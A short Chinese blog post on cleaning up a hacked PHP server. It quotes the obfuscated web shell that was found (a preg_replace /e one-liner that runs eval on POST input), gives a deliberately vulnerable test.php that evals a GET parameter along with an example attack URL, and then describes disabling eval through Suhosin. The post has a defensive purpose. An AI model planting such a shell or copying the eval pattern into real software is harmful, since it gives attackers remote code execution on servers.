您的位置:首页 > 其它

中木马了

2015-11-20 12:20 357 查看
服务器中了木马,代码如下:

($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');


原理:

这段代码将post进来的数据直接调用eval执行。来个更简单的,保存为test.php:

<?php
// filename: test.php
$var = "var";

if (isset($_GET["arg"]))

{

$arg = $_GET["arg"];

  eval("\$var = $arg;"); // 这一句容易写错,导致验证效果不对

echo $var;

}
?>


然后访问服务器:http://www.xxx.com/test.php?arg=phpinfo(),看看白花花的系统配置输出,就能体会到危险性了。

解决方案:

看来得把eval禁用掉了。用SUHOSIN。详见下面的评论。

如何测试是否禁用成功,增加程序test.php:

<?php
//  例子来源:http://www.php.net/manual/zh/function.eval.php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
eval("\$str = \"$str\";");
echo $str. "\n";
?>


如果能打印出This is a cup with my coffee in it. 说明没有禁用成功。如果返回500错误,说明禁用成功。

方法二:通过命令行运行test.php,会输出下面的错误,表示禁用成功了:

[root@AY]# php test.php
PHP Fatal error:  SUHOSIN - Use of eval is forbidden by configuration in /home/domain/test.php(6) : eval()'d code on line 1
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: